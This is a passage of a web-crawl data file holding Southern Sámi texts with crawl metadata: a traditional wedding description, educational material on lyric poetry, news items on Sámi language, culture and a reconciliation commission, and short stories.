Dejtie voeje-lïhtine steellieh, mah goh gærhkoeh vååjnoeh, gusnie dovne nommh jïh jeatjh tjaalegh. Dejtie laedtieh minngesne vaalteme jïh vedtieh. Jïh stoerre gaahkoeh, gusnie provresen nomme, jïh jeatjh njaelkies laejpieh. Jïh die bearkoe-krievniem doeltehtamme, dïsse buajtehks bovtsen bearkoeh jïh sïrven bearkoeh smååjvehke tjuehpieh jïh earhtenh jïh krovnh; jïh die milneme bearkojste jorpe gierkieh jïh bollerh jïh snurkien buejtieh aaj bïejeme. Dagkeres krievniem provhkin hïejine; dïhte dan njaelkie, gosse båata geajnoste jïh garvene. Eah gaajhkesh voestes aejkien nöödth meksiehtidh; dovne akten, göökten jïh golmen aejkien. Gosse meksiehtamme gaajhkesh, dellie dïhte båata mij pråvhkah sovhph vedtedh. Men eah badth dellie jeenjem fihkh, guktie gieriedidh.\nIehkeden, dellie gaajhkh gaarmanæjjah gelkieh provresinie tjåadtjodh jarpehken nelnie, dah mah lïhkemes slïekth voestegh. Gosse dan jarpehken nelnie, dellie sovhpem fihkie jïh gaahkoeh. Jïh die gosse våålese dan nelhtie, dellie jårredh bïjre dam jarpehkem. Dïhte jarpehke guelpien jarngesne galka tjåadtjodh. Gosse dah leah jårreme, dellie gelkieh spealadæjjese beetnegh vedtedh. Jïh die jeatjah gaarmanæjjah gelkieh provresinie tjåadtjodh, voestegh dah mah provresth gaarmanæjjah. Gosse dah gaajhkesh, dellie pååjkh.\nGaajhkh gelkieh provresinie jårredh. Jïh die dah mah eah maehtieh jårredh, dellie tjiehtieh leejjedh gïem akt jïjtse åvteste; men dah mah leejjeme tjiehtieh spïele-beetnegh vedtedh. Provreste badth syjle, gosse jårreme gaajhkesigujmie. Gaajhkesh gelkieh jarpehken nelnie tjåådtjome, dellie doeltehtæjjah båetieh sleajvoej dearhkaj gujmie. Dah aaj gelkieh jarpehkisnie tjåadtjodh, fïere guhte gaarmanæjjine. Dellie jeatjebh fihkieh jårredh guktie sijhtieh. Dïhte mij lea gaajhkesidie vadteme sovhpem jïh gaahkoeh, dïhte fïerhten paarren åvteste dellie soptseste. Nïejtide baernide måedtiem lustes baakoem jeahta jïh sæjhta dejtie iktedidh.\nMubpien biejjien aaj hïeje, men dellie jeatjah maksovh. Dellie guelieh jïh mielhkie-krievnieh. Jïh die gïhpeste kraavhtsem doeltehtieh; dam galka guelien baalte meksiehtidh. Aereden jïh iehkeden gejhkie maksovh. Dan biejjien galka provrese tjeehpes silhke-tjohpem utnedh, jïh jis jeatjh gåptoem enn dam provrese-gåptoem; jïh orre beelhtem jïh boenge-skuvmiem gåaroehtalleme. Tjeehpes tjohph provresth nyjsenæjjah utnieh. Jïh dan biejjie galka provrese slïekte-sjïelh vedtedh, gaarmanæjjide voedtegh jïh voehpese tjohph voedtegh, maam lea jïjtje dååjhteme.\nVuanavabpese lea gååreme silhke-tjohpem misse gierkieh dibrehtamme. Nïejtide dellie vadta lijnieh, jïh nïejtide jïh provresth nyjsenæjjide lijnieh. Gosse dah voedtegh galki daajhtodh, dellie voedtegh sööhpi jïh meedti mubpide nyjsenæjjide viehkiehtidh voedtegh daajhtodh. Alme guhkiem tjiehtin tjiskesjidh, gosse dan jeenjh voedtegh daajhtodh. Gåalmeden provres-aereden dellie provrese galka jïjtje gaajhkesidie vaedtsedh jïh såågkesem vedtedh, jïh dellie galka dovne bööredidh buertien gåajkoe maksovh fihkedh.\nMuvhth vuelkieh dan biejjien. Eah fihkh vuelkedh aeriedistie, vuertedh goske gaske-biejjie-maksovh fihkieh. Dan biejjien dellie provrese jïh provgomme sjïelh fihkieh, muvhtijste bovtsh, jïh muvhtijste beetnegh, jïh muvhtijste sïlph. Jis voehph vuanovh lyjhkoeh mænnjam jallh vïjvem, jïh jis jeenjh bovtsh utnieh, dellie luhpiem fihkieh naan jeenjem bovtsem, muvhth abpe nommem (stoerre-tsiehkiem).\nJïh noere slïektetjh laahkoej bïjre soptsestellieh jïh laahkoeh goerehtieh dej orre slïektigujmie. Luste govledh man laahkoe-goerehtje leah. Åvtelen hïejem badth provrese sov tjidtjiem goerehtalla guktems (magkers) laahkoem fïere guhtese provhkedh. Jis laahtjeres jïh lyjhkoeh, dellie jiehtieh, dïhte dan vietjeles provrese. Gosse vuelkieh dah mah guhkies geajnoem utnieh jïh lïhkemes slïekth, dellie niestieh fihkieh. Laedtieh pruvhkieh jeenjh maksovh dagkeres hïejide vedtedh.\nLaavenjassh: Don aejkien vaarjoej bïjreKjernestoff\nLaavenjassh: Tïjjen 1965 åvtelenKjernestoff\nLaavenjassh: Biejjie-baernieKjernestoff\nLaavenjassh: Johan Turin tjaalegidieKjernestoff\nTjaelieh ussjeden tjaalegemKjernestoff\nLaavenjasse Elsa Laulan bïjreKjernestoff\nLaavenjassh Elsan håalemasseKjernestoff\nÅehpiedehtieh saemien-faageles teemamKjernestoff\nLaavenjassh: GuldnasasKjernestoff\nLaavenjassh: Såångedidh jïh pruvredhKjernestoff\nMåersie faavroeKjernestoff\nSoelege jih nåejtieKjernestoff\nDon aejkien vaarjoej bïjreKjernestoff\nBiejjie-baernien såangoeKjernestoff\nBiejjie-niejten sealadimmieKjernestoff\nVaajese juvri bïjreKjernestoff\nMaana-sujhtemen bïjreKjernestoff\nSaemien tsiehkiej bïjreKjernestoff\nDej baaletje såangoeKjernestoff\nKaarre mij edtji vïjvem veeljedhKjernestoff\n- Kjernestoff\nÅenehks soptseshKjernestoff\nGuldnasasKjernestoff","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:184089\/topic:1:189078\/resource:1:190223","date":"2019-12-12T00:34:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540534443.68\/warc\/CC-MAIN-20191212000437-20191212024437-00372.warc.gz","language":"sma","language_score":1.0000017881,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000017881393433}","num_words":942,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.11,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Min dološ árbi leat fáddágirjjit sámiid árbevirolaš bargguid ja bivdinvugiid birra. Leat dát fáddágirjjit ráiddus:\nLåhkåmtjiehka — Dásse 4–5 li álkkeslåhkåmgirje Låhkåmtjiehka rájdon. Li 10 girjátja juogedum guovte dássáj, dásse 4–5. Girjátjijn li vásádus- ja duohta tevst.\nGærja akten klaassen bïjre mij ålkoeskuvle-fealadimmesne mænna, skåajjesne. Gærjesne åadtjobe govledh maam maanah guvlieh, vuejnieh jïh dååjroeh desnie.\nTeekste gærjesne Eatneme-åavtoe lea bievnije jïh edtja ipmierdimmiem sjugniedidh. Gærja edtja maanaj tjetskehkevoetem jïh daajroem eatnemen bïjre gåaskodh.\nDaelvie-eatneme mubpie gærja gærja-seerijisnie.\nSoptsese gærjesne seamma learohki bïjre goh gærjesne Eatneme-åavtoe. Learohkh ålkoeskuvle-fealadimmesne daelvege. Gærjesne åadtjobe govledh maam maanah guvlieh, vuejnieh jïh dååjroeh fealadimmesne. Dah kreeki- jïh ledtiej gïejigujmie åahpenieh, baakoeh lopmen jïh vearelden bïjre lierieh jïh aaj ledtiejgujmie åahpenieh.\nEatneme jealije gåalmede gærja teemagærja-seerijisnie. Soptsese gærjesne seamma learohki bïjre goh gærjesne Eatneme-åvtoe. Dah ålkoeskuvle-fealadimmesne gïjrege. Gærjesne åadtjobe govledh maam maanah guvlieh, vuejnieh jïh dååjroeh fealadimmesne: dah sjædtoejgujmie jïh kreekigujmie åahpenieh johke-bealesne, jaevrie-bealesne jïh mearoe-gaedtesne.\nGærja skuvlide, 1.–4. daltesidie sjeahta, men aaj gåetide jïh maanagïertide sjeahta.\nBarkoe-gærja teemagærja-seerijisnie sjeahta 1.–4. klaasside. Barkoe-gærja jeereldihkie lïerehtæmman sjeahta.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/davvi.no\/?cat=news&id=27&lang=se","date":"2019-12-07T22:38:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540502120.37\/warc\/CC-MAIN-20191207210620-20191207234620-00025.warc.gz","language":"sma","language_score":0.9997112155,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9997112154960632}","num_words":163,"character_repetition_ratio":0.076,"word_repetition_ratio":0.026,"special_characters_ratio":0.158,"stopwords_ratio":0.117,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïelem nastedh lea gïele jih kultuvre goevtese Snåasesne. Dah daelie sïjhtieh saemide gaavnedidh jih govledh mij lea daerpies darjome, gåessie edtjieh gïelem jih kultuvrem nænnoestidh. Britt Sparrok ,Gïelem nastedh, tuhtjie vihkeles jih saemiej gujmie soptsestalledh.\n– Dihte gaajh vihkeles mijjese. Dellie åadtjebe govledh maam saemieh daarpesjieh, mejtie naan kuvsjh, mejtie maam joekoen sijhtieh darjodh. Mij lea daerpies! Mijjieh edtjebe viehkine årrodh jih saemien gïelem jih kultuvrem åarjelsaemide nænnoestidh.\nÅssalommes vihkeles.\nTjåanghkoe sjædta duarsta ruffien 12.b. Finnsåsen kuvsjejarngesne. Vihkeles saemieh båetieh jeahta Sparrok.\n– Daan åvteste sijhtebe govledh guktie mijjien barkoe orreme jih govlebe guktie edtjebe båetien jaapan barkoem soejkesjidh. Gïelem nastedh gaskebiejjiem bøørie jih daan mænngan edtjebe ånnetji lustestalledh .","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.nrk.no\/sapmi\/saemide-gaavnedidh-1.11756869","date":"2020-01-17T15:32:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250589861.0\/warc\/CC-MAIN-20200117152059-20200117180059-00116.warc.gz","language":"sma","language_score":1.0000040531,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000040531158447}","num_words":107,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.112,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kommisjovne galka meadtide saemiej, kveeneladtji\/ daaroen-soemeladtji vööste goerehtalledh. Åvtehke lea Dagfinn Høybråten jïh 11 faagealmetjh leah aaj mealtan. Stoerredigkie leah dejtie moenedamme.\nGoerehtallemen ulmie lea våaromem laetjedh guktie buerebelaakan guarkedh guktie saemiej jïh kveeneladtji \/daaroen-soemeladtji dååjrehts lea orreme Nöörjen byjjes politihkeste, jïh guktie dah dååjrehts leah sijjide dijpeme goh dåehkie jïh indivijde.\nMandaate golme råajvarimmieh guvvede, mejtie kommisjovne galka tjïrrehtidh:\n- Kommisjovne galka histovrijem goerehtalledh guktie Nöörjen politihke jïh råajvarimmieh saemide jïh kveeneladtjide\/daaroen-soemeladtjide orreme dovne gietskies-byjreskinie, dajvesne jïh rïjhkedaltesisnie.\n- Dam maam daaroedehteme-politihkeste båateme, galka goerehtalledh. Kommisjovne galka vuartasjidh guktie daaroedehtemepolitihke leah jienebelåhkoealmetji vuajnoem dijpeme saemiej bïjre, kveeneladtji bïjre\/daaroensoemeladtji bïjre jïh aaj goerehtalledh guktie daaroedehtemepolitihke lea almetjidie dijpeme eevre daej biejjiej raajan.\n- Råajvarimmieh raeriestidh guktie almetjh edtjieh buektiehtidh båetije biejjide liktedh.\nKommisjovne galka sijjen barkoem illedh åvteli skïereden 1. biejjien 2022 jïh jïjtse reektemem Stoerredigkien presidentide geelkedh.\nSaetniesvoetekommisjovne- jïh liktemekommisjovne sekretariaate lea UiT Nöörjen arktijsen universiteetesne.","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/uit.no\/kommisjonen_%C3%A5s","date":"2020-01-26T11:24:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251688806.91\/warc\/CC-MAIN-20200126104828-20200126134828-00356.warc.gz","language":"sma","language_score":1.0000053644,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 1.0000053644180298}","num_words":141,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.163,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien maanagïertegoevtese Svaalen goevtese Luvlege maanagïertesne Rørosesne rïhpesovvi 2016. Daan mearan maanagïerten lea gellie haestemh dååjreme dan åvteste saemiengïeleldh maanagïertefaalenasse lea goevtesinie öörnedamme nöörjen maanagïertesne. Maehteles saemiengïeleldh faagealmetjh maanagïertesne fååtesieh, seamma tïjjen goh gïele lea joekoen prååsehke maanagïertesne gusnie nöörjen lea stööremes gïele.\nDan åvteste prosjektem aalkeme Dåårrehtimmie åarjelsaemien maanagïertemaahtoste. Ulmie lea båetijen aejkien åarjelsaemien faagemaahtoem dåårrehtidh, jïh almetjh haestedh jïh skreejrehtidh ööhpehtimmiem vaeltedh maanagïerteööhpehtimmien jïh åarjelsaemien gïeleööhpehtimmien sisnjeli.\nSaemiedigkieraerie 200.000 kråvnah prosjektese dåårje dåarjoeöörnegistie Dåarjoe prosjektide jïh evtiedimmiebarkose maanagïertine.\n– Prosjekte joekoen hijven juktie jienebh barkijh maanagïertese dåårrehtidh mah åarjelsaemien soptsestieh, juktie desnie hov våarome aalka gïelem lïeredh, saemiedigkieraerie Mikkel Eskil Mikkelsen jeahta.\nProsjekte edtja aaj barkijidie faalehtidh sijjen åarjelsaemien gïelemaahtoem lutnjedh gïelelïerehtimmien tjïrrh.\n– Daate joekoen hijven dovne maanaj, eejhtegi jïh barkiji gaavhtan maanagïertesne, men aaj åarjelsaemien siebriedahken gaavhtan. Nænnoes gïele- jih kultuvremaahtoe barkiji luvnie sæjhta kvaliteetem lissiehtidh saemien maanagïertefaalenassesne, jïh evtiedimmiem giehpiedidh olles nöörjen gïele veaksahkommes gïele maanagïertesne sjïdth, Mikkelsen jeahta.\nJis dov leah gihtjehtimmie jallh gyhtjelassh, gaskesadth saemiedigkieraeriem Mikkel Eskil Mikkelsen, tlf. +47 917 42 161.","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/PRM-200.000-kr-daaarjojne-aaarjelsaemien-maanagiertese","date":"2020-01-27T07:05:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251694908.82\/warc\/CC-MAIN-20200127051112-20200127081112-00188.warc.gz","language":"sma","language_score":0.9999865294,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999865293502808}","num_words":162,"character_repetition_ratio":0.111,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.105,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Baakoe lyrihke greeske baakoste Lyra båata, mij akte instrumeente. Dej beeli laantesne Hellas almetjh lyrihkem lyre-musihkine åehpiedehtin. Daan biejjien lyrihke dovne laavlome-tjaalegh jïh dikth. Baakoem lyrihke mijjieh sjangeren bïjre nuhtjebe. Poesije lea gïele mij lyrihke lyrihkese dorje.\nMan åvteste lyrihke?\nGosse rijmh nuhtjebe dellie maanah tuhtjieh baakoeh ajve luste, eah sisvegen bïjre pryjjh. Guktie daate vuesiehtimmie:\nOle Dole Doff\nKinkelekiane Koff\nKoffeliane Birkebane\nOle Dole doff\nGosse geervebe sjïdtebe dellie dikten sisvegen bïjre ussjedibie. Daaroen tjaelije Hans Børli ikth jeehti, gaajhkh dikth aavoste jallh sårkoste tjaaleme. Dikth maehtieh mijjem viehkiehtidh gosse sårkosne jïh aaj gosse aavone.\nLaavlome-lyrihke jïh gærja-lyrihke\nDaan biejjien laavlome-lyrihke åehpemes lyrihke. Mijjieh ovmessie musihkem goltelibie guktie vueliem, pop-musihkem, jazz-musihkem, laavlomh, rock-musihkem jnv.\nÅenehks tjaalegh\nJeenemes lyrihke tjaalegh leah åenehks, jïh tjaelije ovmessie gïeleviehkie-dïrregh nuhtjie. Tjaelije maahta aaj guvvieh nuhtjedh mah ibie veanhtadamme. Dellie aelhkebe mijjese vuejnedh, dam maam mijjese åehpies.\n\"Gaajhke dovne raejkiem åtna man sïjse tjoevke tjaanga. \"\nLeonard Cohen\nMijjen jielemh\nLeah goh laategh\nPaulus Utsi\nDikte maahta aaj joekoen åenehks årrodh guktie dikte Gåaroes laante maam Ella Holm Bull tjaaleme.\nGåaroes laante\nGiesie-laanteste jåhteme\nLaante dan gåaroes domtoe.[1]\nGuktie tseegkeme\nGuktie tjaalege tseegkeme mijjese soptseste magkere tjaalege. Lyrihke tjaalegh leah daamtaj vierse-boelhkine juakeme, jïh maehtieh vihties rijmem jallh jievkehtimmiem utnedh. Vierse-boelhke joekoen sïejhme utnedh laavlome-lyrihkesne dan åvteste dellie aelhkebe laavlomem laavlodh. Guktie daate laavlome maam Lars Jonas Johansson tjaaleme.\nVïelle vuajna doete stoerre vaerie\nDan tjaebpies gosse biejjie guaka\nBïegke elmie manne damtem\nhijven veasodh lea\nDaaletjen gærja-lyrihkesne dellie boelhkh eah daarpesjh seamma guhkies årrodh. Eah daaletjen lyrihkh daarpesjh rijmh jall vihties jievkehtimmiem utnedh.\nDaejreles almetje akten aejkien soptsesti\nJis sæjhta maam akt darjodh\nJïh ih daejrieh jis hijven jallh nåekie\nMejtie sæjhta darjodh\nDellie\nIh daejrieh gan[2]\nJoseph Fjellgren\nGïele lyrihke tjaaleginie\nLyrihke tjaaleginie mijjieh daamtaj aktem mannem gaavnebe. Daate lyrihke manne soptseste guktie veartenem gåajhtsede. Mijjieh daejrebe ij tjaelije daarpesjh jïjtje lyrihke mannem årrodh , seammalaakan guktie novellesne dellie dïhte manne ij gænnah daarpesjh almetjem årrodh rïektesinie. Men gosse tjaelije manne hammoem nuhtjie dellie tjaelije maahta persovneles årrodh tjaalegisnie. Tjaaleginie gusnie lyrihke manne gååvnese persovneles tjaalegh gåhtjobe. Tjaalegh mah eah lyrihke mannem utnieh, maehtebe sïejhme-tjaalegh gåhtjodh .\nGellie ovmessie lyrihke tjaalegh\nLyrihke tjaalegh maehtieh soptsesem soptsestidh, men maehtieh aaj aajmoem buerkiestidh, jallh aktem dååjresem. Gellie dikth heannadimmiej jïh gyhtjelassi bïjre soptsestieh jieliedisnie guktie gieriesvoeten bïjre, jaememen bïjre, almetji sijjien veartanisnie jïh eatnamisnie jnv. Daam lyrihkem gåhtjobe åtnoe-lyrihke. Lyrihkh mah praktihke åssjelem utnieh, mijjieh gåhtjobe nuhtjeme-lyrihke. Daate lyrihke maahta politihken dïjrem utnedh dikth mah sjïere heannadæmman tjaaleme guktie skyllemasse jallh hïejese. Mijjieh maehtebe aaj dikth jeatjhlaakan juekedh, vuesiehtimmien gaavhtan væhtaj mietie. Sjangere-nommh guktie limericke jïh sonette man akt hammoen bïjre jiehtieh, mearan sjangere-nommh guktie barkoe-dikth jïh maana-rijmh soptsestieh gïese dikte tjaalasovveme.\nSaemien dikth\nSaepmesne mijjieh aaj utnebe gallesh mah dikth tjaaleme, jïh tjaelemen tjïrrh dah leah saemien njaalmeldh aerpie-vuekiem vijriebasse guadteme.\nDoh båarasommes saemien dikth leah teksth vuelide. Aktene vuelesne daamtah ajve naan gille baakoeh, men aarebi meehtin guhkebe soptsesh joejkedh. Daelie etno-musihke daamtah dikth jïh musihkem aktene. Maahtebe aaj laavlomh lohkedh goh poesije.\nNaemhtie Gaebpien Gåsta vuelien jïh joejkemen bïjre jeahta:\n«Vuelie - dan baakoen tjoeje lea goh svïhtjeminie, guktie almetje åådtje baakoen njuvvesne njyörtedh jïh baaja sealoem dejnie dievhtedh – sårkosne jïh aavosne.»\n«Joejkeme maahta vihties deahpadimmide jieliemisnie veadtasovvedh, jïh maahta veadtetjine årrodh almetji gaskemsh»\nSaemien tjaelijh daamhtah johkh jïh eatnemem symboline nuhtjeme gosse tjaelieminie. Dagke dellie saemien kultuvren jïh jielemen symbole lea johke? Dagke Ella Holm Bull johkem symboline nuhtjeme gærjesne Ovmessie darjomes gosse gærja diktigujmie johken bïjre aalka jïh orreje?\nBaakoeh\nSaemien\nDaaroen\naajmoe\nstemning\nvierse-boelhke\nstrofe i dikt, vers i sang\ndååjrese\nopplevelse\nsïejhme tjaalegh\nalmenne tekster\nåtnoe-lyrihke\nbrukslyrikk\njargne-lyrihke\nsentrallyrikk\ndeahpadimmie\nhendelse\nveadtasovvedh\nå bli knyttet til","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:172396\/topic:1:182173\/resource:1:179566\/4798","date":"2020-01-25T10:31:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251672440.80\/warc\/CC-MAIN-20200125101544-20200125130544-00140.warc.gz","language":"sma","language_score":0.9999778271,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9999778270721436}","num_words":605,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.093,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate laavvadahke.\nJååktan lij bearjadahke.\nJirreden jis aejlege.\nDaen biejjien mullie.\nJååktan tjuetsiej.\nDaelie daelvie, medtie garre-tsïengelen gaskoeh.\nDaelvege lopme.\nDan tjaebpies gosse biejjie guaka jih gosse moerh lopmine jih plaave\nelmien vøøste åådtje vuejnedh.\nJåvli åvtelen, goh dihte gaajh baajkoe, dellie moerh lin jyjseme.\nDihte aaj tjaebpies, jis almetje heelie ålkine vaadtsehtjidh, vuartasjidh.\nDaelvege maahta gåaltoe aaj.\nIj leah gujht gåaltoen hijven ålkine årrodh.\nDillie bøøremes gåetesne, åadtjodh klaasebealesne tjåadtjodh olkese\nvuartasjidh, vuejnedh guktie moerh biegkesne syjjedieh jih muvhtine\njis eah enne mahte vååjnh gænnah.","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/sijtijarnge.no\/daelie\/","date":"2020-02-23T20:01:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145839.51\/warc\/CC-MAIN-20200223185153-20200223215153-00102.warc.gz","language":"sma","language_score":0.9999581575,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999581575393677}","num_words":86,"character_repetition_ratio":0.025,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.07,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Joekehth julevsaemien\nProgramme baahkoeh jïh raajesh gaskeviermesne joekehte. Maahtah tjaalegem programmesne tjaeledh jïh programme dam tjaalegem dutnjien joekehte. Jis veeljh \"Atte buot analysaid\" -Gi alle analyser, dellie programme gaajhkh ovmessie joekehtimmieh tjaalegistie vuesehte, jis \"Disambiguere\" veeljh, dellie programme barre dam joekehtimmiem vuesehte, mij raajese sjeahta. Julevsaemien programmesne medtie 20 000 baakoehammoeh gååvnese.","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/ovttas.no\/sma\/digitala-resursa_joekehth-julevsaemien","date":"2020-02-25T21:42:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146160.21\/warc\/CC-MAIN-20200225202625-20200225232625-00254.warc.gz","language":"sma","language_score":0.9999905825,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 0.9999905824661255}","num_words":50,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.04,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dïhte voestes saemien rïjhketjåanghkoe Tråantesne öörnesovvi goevten 6.b. 1917. Saemiedigkie, Åarjel-Trööndelagen fylhketjïelte jïh Tråanten tjïelte leah ektesne seamadamme 100-jaepienheevehtimmiem mïerhkesjidh jaepien 2017. Edtja heevehtimmiem mïerhkesjidh dovne goh akte nasjovnaale aavoedimmie jïh akte tjåenghkies saemien heevehtimmie sjædta.\nDemokratijem vijriedidh.\nProsjekten ulmie Tråantese 2017 lea dam histovreles heannadimmiem mïerhkesjidh jïh daajroem bæjjanidh, saemiej, saemien kultuvren jïh histovrijen bïjre aktene 100-jaepien perspektijvesne. Heevehtimmie edtja skreejrehtidh meatan årrodh jïh eadtjohke årrodh demokratijen gaavhtan, jïh sæjhta aaj tjelmide åvtese bïejedh jïh gihtjedh mij dorjesåvva juktie demokratijem vijriedidh jïjtjene tïjjen.\nProfijle Tråantese 2017 sæjhta årrodh beagkoehtimmie, aavoedimmie, eadtjohkevoete, meatan årrodh jïh demokratije.\nHeevehtimmien væhta.\nProsjektestuvreme jïh stuvremedåehkie Tråantese 2017 logom- væhtam veeljeme. Logo edtja heevehtimmiem mïerhkesjidh jïh guvvine årrodh heevehtæmman, jïh akte ihkuve byögkeles væhta årrodh daan heannadæmman.\nStuvreme dåehkie gøøkte logo-væhtah veeljeme maam lean ektiedamme, akten logo-væhtese. Dah guaktah mij daam logom dorjeme lægan Daniel Brox Nordmo jih Mikal Johansen. Dah guaktah åadtjoejægan 5000 kr fïere-guhte jih garmerdimmiem jih earoem.","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/www.nrk.no\/sapmi\/heevehtimmie-vaehtam-veeljeme-1.12580938","date":"2020-02-29T02:38:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875148375.36\/warc\/CC-MAIN-20200229022458-20200229052458-00494.warc.gz","language":"sma","language_score":0.9999997616,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999997615814209}","num_words":149,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.161,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Goh onne-åabpa fahkoe, dle båeries Garme aaj tjuedtjele. Garme onneåabpan seankoebealesne jijjen guarjesje. Nimhtie eelki gob onneåabpa lij uvre onne.\nUtniej sån, dihte dan joekoen onne jih lustes, satne dam tjuara joekoen laakan geehtedh. Onneåabpa lea jællan vijhte jaepieh illeme, Garme jis joe lea båeries bienje goh jeatjh aajja.\nGarme gaaveste jih onneåabpese vuartesje, jih goh onneåabpa namhtah jijjegåptojne våålese roehteste dle Garme vitnede jih minngesne soejmi raajrelesem våålese guatsa.\nOnneåabpa joe tjidtjien eskesne tjahkan gob Garme båata. Buertien nuel iem snoegkedata, vuebniebealan kråanesne mænna jijtse beapmoegaeriem hapsahtalla. Praaretji dle åejjiem lutnjie, vååjnoe goltele jih dellie plåånje, sæjhta olkese.\nDatne jis daan biejjien dan varki edtjh olkese? tjidtjie jeahta jih oksem rihpeste.\nGarme tjædtjan vijlele jih vååjnoe skådta, govloe hanhkehte goh okseraejkiem vualka","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/sijtijarnge.no\/baeries-garme\/","date":"2020-02-21T19:23:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145534.11\/warc\/CC-MAIN-20200221172509-20200221202509-00042.warc.gz","language":"sma","language_score":0.9999217987,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999217987060547}","num_words":123,"character_repetition_ratio":0.012,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.081,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïelepolitihke tjuara seamma otnjegisnie giesedh, mejtie politihke dejnie saemien gïelebyjresinie sjugniehtåvva jallh voenges, regijonaale, nasjonaale jallh gaskenasjonaale institusjovnine. Aktine ellies jïh akteraeresne gïelepolitihkine, gusnie nasjonaale, regionaale jïh tjïelten åejvieladtjh jïh aktöörh vïehkesjedtieh, edtjebe sjïehteladtedh guktie saemien gïelh leah iemie, siebriedahkeguedtije jïh jielije gïelh siebriedahkesne. Daate lea visjovne Saemiedigkieraerien strategijine saemien gïelide – Gïelelutnjeme.","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/samimag.no\/sma\/sections\/kultuvra?page=2","date":"2020-02-27T20:43:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146809.98\/warc\/CC-MAIN-20200227191150-20200227221150-00433.warc.gz","language":"sma","language_score":0.9999468327,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.9999468326568604}","num_words":52,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.121,"stopwords_ratio":0.173,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Voereshokse\nVoeresehokse Sjeltien tjïeltesne edtja vuesiehtidh dejtie bijjemes ulmide mah laaken mietie jïh dah njoelkedassh mah gååvnesieh voeresehoksesne Sjeltien tjïeltesne. Tjïelti ulmieh leah politihken stuvremetjaatsege mij siebriedahken krïevemidie jïh tsiehkide 